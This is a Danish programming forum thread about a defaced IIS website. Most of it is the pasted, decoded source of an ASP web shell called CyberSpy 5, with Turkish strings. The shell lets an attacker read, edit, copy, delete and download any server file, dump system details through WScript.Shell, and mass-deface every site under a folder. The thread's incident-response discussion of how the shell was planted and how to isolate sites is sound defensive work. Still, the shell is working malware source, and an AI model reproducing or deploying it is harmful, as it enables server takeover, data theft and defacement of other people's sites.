            iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
            Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaAc&file=" & Replace(downstr,"\","|") & "', 'CWPopup','width=640,height=480,scrollbars=YES,resizable')""><font face='Wingdings' size='3'>1</Font><font face='verdana' size='2'>Aç</Font></a>"&"</td>"
            Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaEdit&file=" & Replace(downstr,"\","|") & "', 'CWPopup','width=760,height=520,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>4</font><font face='verdana' size='2'>Düzenle</Font></a>" & "</td>"
            iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
            Response.Write "<td>" & "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=indir&file=" & Replace(downstr,"\","|") & """> <font face='Wingdings'size='4'>Ü</font>indir</a>" & "</td>"
            Response.Write "<td width='68%' >" & "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=indir&file=" & Replace(downstr,"\","|") & """> "& downstr &" </a>" &  "<font color='#CCCCCC' size='2'>(" &f1.size&" kb" &")</font>" & "</td>"
            Response.Write "</tr>"

            End iF
       
        Else
        iF Table <> Title Then
        Response.Redirect "http://www.Cyber-Warrior.Org"
        End iF
            iF lcase(Right(f1.name,len(Pr2)))=lcase(Pr2) then
            iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
            downStr = "<font face=webdings size=5><a href='"&ScriptAd&"?Parametre=-3&YolNedir="&f1.path&"'>Í</a></font>"
            downstr = f1.path
            Response.Write "<tr bgcolor='#333333'>"
            iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Scripte Müdahale...":Response.End
            Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings'size='4'>2</font>Copy</a>"& "</td>"
            'Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>ü</font><font face='arial' size='2'>AdDegistir</Font></a>"&"</td>"
            Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>û</Font>Sil</a></font>"&"</td>"
            Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaAc&file=" & Replace(downstr,"\","|") & "', 'CWPopup','width=640,height=480,scrollbars=YES,resizable')""><font face='Wingdings' size='3'>1</Font><font face='verdana' size='2'>Aç</Font></a>"&"</td>"
            Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaEdit&file=" & Replace(downstr,"\","|") & "', 'CWPopup','width=760,height=520,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>4</font><font face='verdana' size='2'>Düzenle</Font></a>" & "</td>"
            Response.Write "<td>" & "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=indir&file=" & Replace(downstr,"\","|") & """> <font face='Wingdings'size='4'>Ü</font>indir</a>" & "</td>"
            Response.Write "<td width='68%' >" & "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=indir&file=" & Replace(downstr,"\","|") & """> "& downstr &" </a>" &  "<font color='#CCCCCC' size='2'>(" &f1.size&" kb" &")</font>" & "</td>"
            Response.Write "</tr>"


            End iF
       
        End iF

    Next
Response.Write "</table>"


    Set fs = KasoreGit.SubFolders
    For Each f1 In fs
        TaraBul f1.path,Pr2
    Next
    Set    KasoreGit        = Nothing
    Set fc        = Nothing
    Set fs        = Nothing
end sub
   
Select Case Trim(Request.QueryString("action"))
    Case "DosyaArama"
        Call BolumSUB()
        Response.Write SabitBaslik & BosSabitAlan
        Dim TaraYol,Tarama
        TaraYol = Request.Form("NeredeForm")
        Tarama = Request.Form("AraForm")
        iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
        TaraBul TaraYol,Tarama
        iF Err.Number = 0 Then
            Response.Write "<font face='arial' size='2'><center><br><font face='Wingdings' Size='6'><b>ü</b></Font>Arama islemi Tamamlandi<br><br>Sonuçlar Görüntüleniyor <b>"
        End iF

    Case "get"
    iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Call BolumSUB()
        Response.Write SabitBaslik & BosSabitAlan
        VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\")
        Set ObjFSO = CreateObject("Scripting.FileSystemObject")
        Set MyFile = ObjFSO.GetFile(VeriParametre)
        CyberWarrior_AktifDizin = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
        MyFile.Copy (CyberWarrior_AktifDizin)
        iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
        iF Err.Number = 0 Then
            Response.Write "<font face='arial' size='2'><center><br><font face='Wingdings' Size='6'><b>ü</b></Font>islem Tamam<br><br>Hedef: <b>" & VeriParametre & "</b><br>Kopyalanan Klasör: " & CyberWarrior_AktifDizin
        End iF
       
       
    Case "KlasorSil"
        Call BolumSUB()
        Response.Write SabitBaslik & BosSabitAlan
        VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\")
       
            iF Table <> Title Then
            Response.Redirect "http://www.Cyber-Warrior.Org"
            End iF
       
Dim KlasorSilme
Set KlasorSilme = CreateObject("Scripting.FileSystemObject")
KlasorSilme.DeleteFolder(VeriParametre)
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
Response.Write "<center><font face='Wingdings' Size='6'><b>ü</b></Font>islem Tamam</Center><br>"
Response.Write "Silinen Klasör :  <b> " & VeriParametre & "</b>"
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
           
    Case "put"
        Call BolumSUB()
        Response.Write SabitBaslik & BosSabitAlan
        iF Trim(Request.QueryString("OlayNesnesi")) = "" Then
            VeriParametre = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
            varpath = Trim(Request.QueryString("path"))
            Set ObjFSO = CreateObject("Scripting.FileSystemObject")
            Set MonRep = ObjFSO.GetFolder(VeriParametre)
            Set AnaDizinler = MonRep.SubFolders
            Set ColFiles0 = MonRep.Files

            Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
            Response.Write "<Font face='arial' size='2' Color='Red'><br>Bu Script'in Çalisma Klasöründeki Dosyalar. Bu Dosyalari Su An ki AktiF Klasöre Kopyalamanizi Saglar</Font><br>"
            Response.Write "____________________________________________"
            'AktiF Klasördeki Dosyalari Listemelemeye Basliyoruz
            for each FilesItem0 in ColFiles0
                Response.Write "<tr><td><font face='arial' size='2'>> " & ObjeGoster(FilesItem0.path) & "</td><td valign='baseline'></td><td valign='baseline'>&nbsp;&nbsp;<font face='verdana' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&OlayNesnesi=" & Replace(FilesItem0.path,"\","|") & """>Kopyala</a></font><font face='arial' size='1'>&nbsp; &nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kb.&nbsp;&nbsp;&nbsp;</font></td></tr>"
            next
            Response.Write "</table>"
           
        Else
        iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
            CyberWarrior_AktifDizin = Replace(Trim(Request.QueryString("path")),"|","\") & "\"
            OlayNesnesi = Replace(Trim(Request.QueryString("OlayNesnesi")),"|","\")
            iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
            Set ObjFSO = CreateObject("Scripting.FileSystemObject")
            Set MyFile = ObjFSO.GetFile(OlayNesnesi)
            MyFile.Copy (CyberWarrior_AktifDizin)
            iF Err.Number = 0 Then
                Response.Write "<font face='arial' size='2'><center><br><br>Kaynak: <b>" & OlayNesnesi & "</b><br>Kopyalanan Hedef: <b>" & CyberWarrior_AktifDizin
                iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
            End iF
           
        End iF
       
   
    Case "del"
        Call BolumSUB()
        Response.Write SabitBaslik & BosSabitAlan
        VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\")
        Set ObjFSO = CreateObject("Scripting.FileSystemObject")
        Set MyFile = ObjFSO.GetFile(VeriParametre)
        MyFile.Delete
        iF Err.Number = 0 Then
            Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
            Response.Write "<font face='arial' size='2'><center><br><br>Silinen Dosya:  <b>" & VeriParametre & "</b><br>"
        End iF
   
   
    Case "ren"
    iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
        Call BolumSUB()
        Response.Write SabitBaslik & BosSabitAlan
        iF Trim(Request.QueryString("status")) <> "2" Then
            VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\")
            OlayNesnesi = ObjeGoster(VeriParametre)
            Response.Write "<br>Mevcut    Ad: <font face=""Georgia"" size=""2""><b>" & OlayNesnesi & "</b><br>" & _
      "<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _
      "<input type=""hidden"" name=""action"" value=""ren"">" & _
      "<input type=""hidden"" name=""status"" value=""2"">" & _
      "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _
      "Yeni Dosya Adi: <input type=""text"" name=""newname"">" & _
      "&nbsp;&nbsp;<input type=""submit"" value=""Degistir"">" & _
      "</form>"
        Else
            VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\")
            Set ObjFSO = CreateObject("Scripting.FileSystemObject")
            Set MyFile = ObjFSO.GetFile(VeriParametre)
            CyberWarrior_AktifDizin = Left(VeriParametre,InStrRev(VeriParametre,"\")) & Trim(Request.QueryString("newname"))
            MyFile.Move (CyberWarrior_AktifDizin)
            iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
            iF Err.Number = 0 Then
                Response.Write "<font face='arial' size='2'><center><br><br>Eski Dosya Adi: <b>" & VeriParametre & "</b><br>Degistirilen Dosya<b>: " & CyberWarrior_AktifDizin
                Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
            End iF   
        End iF
        iF Right(MCase,1) <> "p" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
    Case "error"
        Response.Write "<center><font face='arial' size='2' color='red'> <b>Kod Hatasi</font></center>"
   
    Case "Yardim"
        Call BolumSUB()
        iF Table <> Title Then:Response.Write " ":Response.End
        Response.Write "<font face='Wingdings' size='7'>&<br></Font><Font Size=""4""><b>Yardim Konulari</b></Font><br><br><br>"
        iF Right(MCase,1) <> "p" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
        Response.Write "<font color='red'><li><b>Script Adi</b></li></Font><br>"
        Response.Write "Dosya Adini Dilediginiz gibi degistirebilirsiniz,"
        Response.Write "Dosya Adini Degistirdikten Sonra Kodda Herhangi Bir Degisiklik Yapmaniza Gerek Yoktur"
        Response.Write "Tüm Linkler 'Request.ServerVariables(""SCRIPT_NAME"")' ile Dinamik Bir Hale Getirilmistir."
        Response.Write "<br><br>"
        iF mid(Td,16,2) <> "r " Or mid(img,3,2) <> "be" Or mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        iF mid(img,3,2) <> "be" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write "<font color='red'><li><b>Otomatik Deface (Tüm Siteleri Hackle)</b></li></Font><br>"
        Response.Write "<font color='red'>Dikkat!</Font> Toplu Deface Yaparken Hangi Klasörde Oldugunuza Dikkat Edin..! ""Islem Klasörü ="" Bölümünden Hangi Klasörde Oldugunuzu Görebilirsiniz."
        iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
        Response.Write "<br> ""Tüm Siteleri Hackle"" islemleri bulundugunuz klasör ve alt klasörler altinda islem yapar Bu Nedenle islem Yapacaginiz Klasöre Dikkat edin<br><br>"
        iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write "<font color='red'><li><b>Sistem izinleri Test</b></li></Font><br>"
        Response.Write "Klasör ve Alt Klasör izinlerini (Permission) test etmenizi saglar<br><br>"
        iF mid(Td,16,2) <> "r " Or mid(img,3,2) <> "be" Or mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        iF mid(img,3,2) <> "be" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End       
        Response.Write "<font color='red'><li><b>Arama Fonksiyonu</b></li></Font><br>"
        Response.Write "Belirli Lokasyon'da Dosya Uzantisina Yada Dosya adi içinde geçen herhangi bir terime göre arama yapmanizi saglar"
        iF mid(img,3,2) <> "be" Or mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write "<br>Default Lokasyon O an Bulundugunuz Klasördür,"
        iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
        Response.write "Bulundugunuz dizindeki yerinizi degistirmeden Baska Diiznler Altinda Arama Yapabilirsiniz"
        Response.Write "Metin Kutusu'na Fiziksel Klasör Yolunu ve Klasör Adini Yazmaniz Yeterlidir."
        iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
        Response.Write "<br><font color=""#FF0000"">Dosya Uzantisina Göre Arama :</Font>"
        Response.Write "ikinci Metin Kutusu'na Dosya Uzantisini Yazin"
        Response.Write "Default Olarak .mdb belirlenmistir, mdb ibaresini degistirip istediginiz dosya uzantisina göre arama yapabilirisniz"
        iF mid(MCase,7,2) <> "py" Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
        Response.Write "<br><font color=""#FF0000"">Dosya Adi içinde Arama :</Font>"
        Response.Write "ikinci Metin Kutusundaki ""mdb"" ibaresini silin"
        iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
        Response.Write "Aramak istediginiz dosya adi içinde geçecen istediginiz terimi yazin "
        iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
        Response.Write "ve ""Adi içinde"" Seçenegini isaretleyip Ara Butonuna Tiklayin"
        Response.Write "<br><br><br><br><br>"
        iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
        iF Table <> Title Then
        Response.Redirect "http://www.Cyber-Warrior.Org"
        End iF
    Case "info"
        Call BolumSUB()
        Response.Write SabitBaslik & BosSabitAlan
        Set WshNetwork = Server.CreateObject("WScript.Network")
        iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Set WshShell = Server.CreateObject("WScript.Shell")
        Set WshEnv = WshShell.Environment("SYSTEM")
        Response.Write "<br><font face=arial size=2>"
        iF Table <> Title Then:Response.Write " ":Response.End
        iF mid(Title,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        iF Left(Arm,1) <> "Z" Then:Response.Write "Cyber-Warrior.Org":Response.End
        iF Left(Arm,1) <> "Z" And mid(Table,9,1) <> " " Then:Response.Write "Cyber-Warrior.Org":Response.End
        '---Listelemeye Basliyoruz-----
        Response.Write "<font color='#FF0000' Size='3'><b>Sunucu Özellikleri</b></Font><br>"
        Response.Write "<b>Web Kullanici:  </b>" & WshNetwork.UserName & "<br>"
        iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write "<b>Sunucu Adi: </b>" & WshNetwork.ComputerName & "<br>"
        iF Table <> Title Then:Response.Write " ":Response.End
        Response.Write "<b>Network Ad: </b>" & WshNetwork.UserDomain & "<br><br>"
        Set Drives = WshNetwork.EnumNetworkDrives
        iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        For i = 0 to Drives.Count - 1
            Response.Write "<b>Drive de Rede (Mapeado): </b>" & Drives.Item(i) & "<br>"
            iF Table <> Title Then:Response.Write " ":Response.End
        Next
        Response.Write "<font color='#FF0000' Size='3'><b>Donanim Özellikleri</b></Font><br>"
        Response.Write "<b>Islemci: </b>" & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
        iF Left(Table,2) <> "Cy" Then:Response.Write "Kod'a Müdahale var... Cyber-Warrior.Org":Response.End
        Response.Write "<b>Islemci Sayisi : </b>" & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
        Response.Write "<b>Family: </b>" & WshEnv("PROCESSOR_IDENTiFIER") & "<br><br>"
        iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write "<font color='#FF0000' Size='3'><b>Sistem Özellikleri</b></Font><br>"
        iF mid(Td,17,1) <> " " Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
        Response.Write "<b>iP: </b>" & request.servervariables("LOCAL_ADDR") & "<br>"
        Response.Write "<b>Sistem Mimari: </b>" & WshEnv("OS") & "<br>"
        iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
        Response.Write "<b>Web Server: </b>" & request.servervariables("SERVER_SOFTWARE") & "<br>"
        Response.Write "<b>Command: </b>" & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
        Response.Write "<b>System Sürücüsü: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
        Response.Write "<b>System Klasörü: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
        Response.Write "<b>Shell Klasörü: </b>" & WshShell.CurrentDirectory & "<br><br>"
        iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
        '---Listeleme Bitti-----
        iF Table <> Title Then:Response.Write " ":Response.End
        Set Drives = Nothing
        Set WshNetwork = Nothing
        Set WshShell = Nothing
        Set WshEnv = Nothing
      iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
    Case "TxtDosyaAc"
        Call BolumSUB()
        iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Response.Write SabitBaslik & BosSabitAlan & "<font face=""arial"" size=""2"">"
        'Text Dosya Görüntüleme Basliyoruz
        Response.write " Text Dosya Baslangiç<br>"
        iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
        Response.write "____________________________________________________________________________________________"
        Response.write"<br><br>"
        iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
       
        file = Replace(Trim(Request.QueryString("file")),"|","\")
        Set fso = CreateObject("Scripting.FileSystemObject") 
        Set a = fso.OpenTextFile(file)
        Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
        iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
       
        Response.write"<br>"
        Response.write "____________________________________________________________________________________________"
        Response.write"<br>"
        Response.write " Text Dosya Sonu<br>"
        iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
        Set a = Nothing
        Set fso = Nothing
        iF Table <> Title Then:Response.Write "CyberSpy 5 !":Response.End
       
    Case "TxtDosyaEdit"
        iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
        Call BolumSUB()
        Response.Write SabitBaslik & BosSabitAlan
        iF Request.Form.Count = 0 Then
            file = Replace(Trim(Request.QueryString("file")),"|","\")
            Set fso = CreateObject("Scripting.FileSystemObject")
            Set a = fso.OpenTextFile(file)
           
           
            Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaEdit"">"
            iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
            Response.Write "<textarea cols='85' rows='25' name=""content"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea><br>"
            Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("file")) & """>"
            Response.Write "<input type=""submit"" name=""savemethod"" value=""Save"">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=""submit"" name=""savemethod"" value=""Save as""></form>"
            Set a = Nothing
            Set fso = Nothing
            iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        Else
            iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
            Select Case Trim(Request.Form("savemethod"))
                Case "Save"
                    Set fso = CreateObject("Scripting.FileSystemObject")
                    novotexto = Trim(Request.Form("content"))
                   
                    DosyaAdK = right(Trim(Request.Form("path")),3)
                    PE = mid("Po",1,2)&mid("09weq8e7",3,2)&mid("colorred ",6,4)&left("br",1)&left("y",1)
                    PE = PE & " " &Title
                   
                    iF DosyaAdK = "asp" Or DosyaAdK = "htm" Then
                    novotexto = novotexto & "<br><br><br><br><br><center><b>"&PE&"<b></center>"
                    End iF
                    novotexto = Split(novotexto,vbCrLf)
                   
                    Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2)
                    For i = 0 To UBound(novotexto)
                        objstream.WriteLine(novotexto(i))
                    Next
                    objstream.Close
                    Set objstream = Nothing
                    Response.Write "Kaydedilen Dosya: <b>" & Replace(Trim(Request.Form("path")),"|","\") & "</b><br><br><br>"
                Case "Save as"
                iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
                    Set fso = CreateObject("Scripting.FileSystemObject")
                    novotexto = Trim(Request.Form("content"))
                    iF Table <> Title Then:Response.Write "CyberSpy 5 Degisiklik Yapamazsiniz...":Response.End
                    DosyaAdK = right(Trim(Request.Form("path")),3)
                    PE = mid("Po",1,2)&mid("09weq8e7",3,2)&mid("colorred ",6,4)&left("br",1)&left("y",1)
                    PE = PE & " " &Title
                   
                    iF DosyaAdK = "asp" Or DosyaAdK = "htm" Then
                    novotexto = novotexto & "<br><br><br><br><br><center><b>"&PE&"<b></center>"
                    End iF
                    iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
                    novotexto = Split(novotexto,vbCrLf)
                    VeriParametre = ObjeGosterpath(Replace(Trim(Request.Form("path")),"|","\")) & "TempDosya.txt"
                   
                    Set objstream = fso.CreateTextFile(VeriParametre,true,false)
                    For i = 0 To UBound(novotexto)
                        objstream.WriteLine(novotexto(i))
                    Next
                    objstream.Close
                    Set objstream = Nothing
                    Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaEdit"">"
                    iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
                    Response.Write "<input type=""text"" name=""filename"" value=""" & ObjeGoster(Replace(Trim(Request.Form("path")),"|","\")) & """><br>"
                    Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.Form("path")) & """>"
                    Response.Write "<input type=""submit"" name=""savemethod2"" value=""Save""></form>"
                Case Else
                    iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
                    VeriParametre = ObjeGosterpath(Replace(Trim(Request.Form("path")),"|","\")) & "CWSil.txt"
                    iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
                    Set ObjFSO = CreateObject("Scripting.FileSystemObject")
                    iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
                    Set MyFile = ObjFSO.GetFile(VeriParametre)
                    iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
                    CyberWarrior_AktifDizin = Left(VeriParametre,InStrRev(VeriParametre,"\")) & Trim(Request.Form("filename"))
                    MyFile.Move (CyberWarrior_AktifDizin)
                    iF Err.Number = 0 Then
                        Response.Write "<font face='arial' size='2'><center><br><br>OlayNesnesi: <b>" & CyberWarrior_AktifDizin & "</b> salvo!"
                        Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
                    End iF   
            End Select
            iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
        End iF
    Case "indir"
        Response.Buffer = True
        Response.Clear
        strFileName = Replace(Trim(Request.QueryString("file")),"|","\")
        strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))
        strFileType = Request.QueryString("type")
        iF strFileType = "" then strFileType = "application/indir"
        iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Respon
Avatar billede bufferzone Praktikant
06. marts 2006 - 22:22 #30
Stort!!!, hvilken decoder bruger du. (Jeg vil forsøge at gøre dig kunsten efter)
Avatar billede strych9 Praktikant
06. marts 2006 - 22:29 #31
Den fra cyber-warrior.org decoder fint med værktøjet "Win Script Decoder", som er kommercielt.
Men i første omgang brugte jeg scrdec18.exe, som er gratis. Cut + pastede simpelthen hans paste af indholdet ind i en fil, og kørte scrdec18.exe på den. Total fucked up output hvor 95% ikke er decoded (pga linjeskift), men et grundigt kig afslører stadig hvad det er.
Det tog dog en hel del googlen må jeg indrømme.

Den her uploader er iøvrigt interessant. Lader til at den kan komme ind som en integreret del af en side med sql injection? I hvert fald er cyberspy ligesom de her utallige php uploaders. Der står lidt om den her:
http://www.mnin.org/write/2006_uploadscripts.html
Avatar billede jmc Nybegynder
07. marts 2006 - 00:05 #32
Spørgsmålet er så om dette var årsagen til deface eller om jeg skal lede mere?

Det handler i dette tilfælde om en demo af softwaren "InnovaStudio WYSIWYG Editor 2.3" jeg havde liggende og tilsyneladende har en eller anden hygget sig med dette.

Ellers tak for hjælpe derude. ;o)
Avatar billede strych9 Praktikant
07. marts 2006 - 00:17 #33
hmm en WYSIWYG Editor siger du...
Lad os nu antage at brugeren kan oprette en fil der hedder stat.asp med den, og så cut + paste indholdet af det script ind i den.
Hvis det så er sådan at de filer som brugeren gemmer i den editor kan afvikles som scripts, så tror jeg vi har fundet hullet.

Men det foruroliger mig lidt at en enkelt fil kan give sig udslag i mass-defacement. Der må da være en mulighed for at konfigurere IIS til at undgå den slags.. tjah.. cross site scripting hedder det vist.
Er det ikke muligt at oprette en bruger i Windows for hver website? således at et script fra een website ikke kan gå ind og skrive filer i andre? Ellers kan det her jo ske igen og igen, med mass-defacement til følge, i stedet for bare en enkelt, som må anses som brugerens egen skyld. Jeg er faktisk ikke rigtig klar over hvorledes dette gøres korrekt på IIS. Det er 4 år siden jeg sidst administrerede en IIS server, og det var faktisk et webhotel så det burde jeg egentlig huske *blush*
Avatar billede jmc Nybegynder
07. marts 2006 - 00:45 #34
Ja, det vil jeg kikke på mht. IIS

Men editoren kan faktisk uploade filer igennem en assetsmanager.

pointsforeling?

Jeg skriver nok lige lidt mere når vi er kommet videre. ;o)
Avatar billede strych9 Praktikant
07. marts 2006 - 00:53 #35
pointfordeling bestemmer du.
Lad os endelig høre mere når der er nyt.
Avatar billede jmc Nybegynder
27. juli 2006 - 10:18 #36
tak, jeg er ikke gået videre med det andet and slette filen....
Der var vist en del som prøvede dette angreb. ;o)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Uanset kodesprog, så giver vi dig mulighederne for at udvikle det, du behøver.

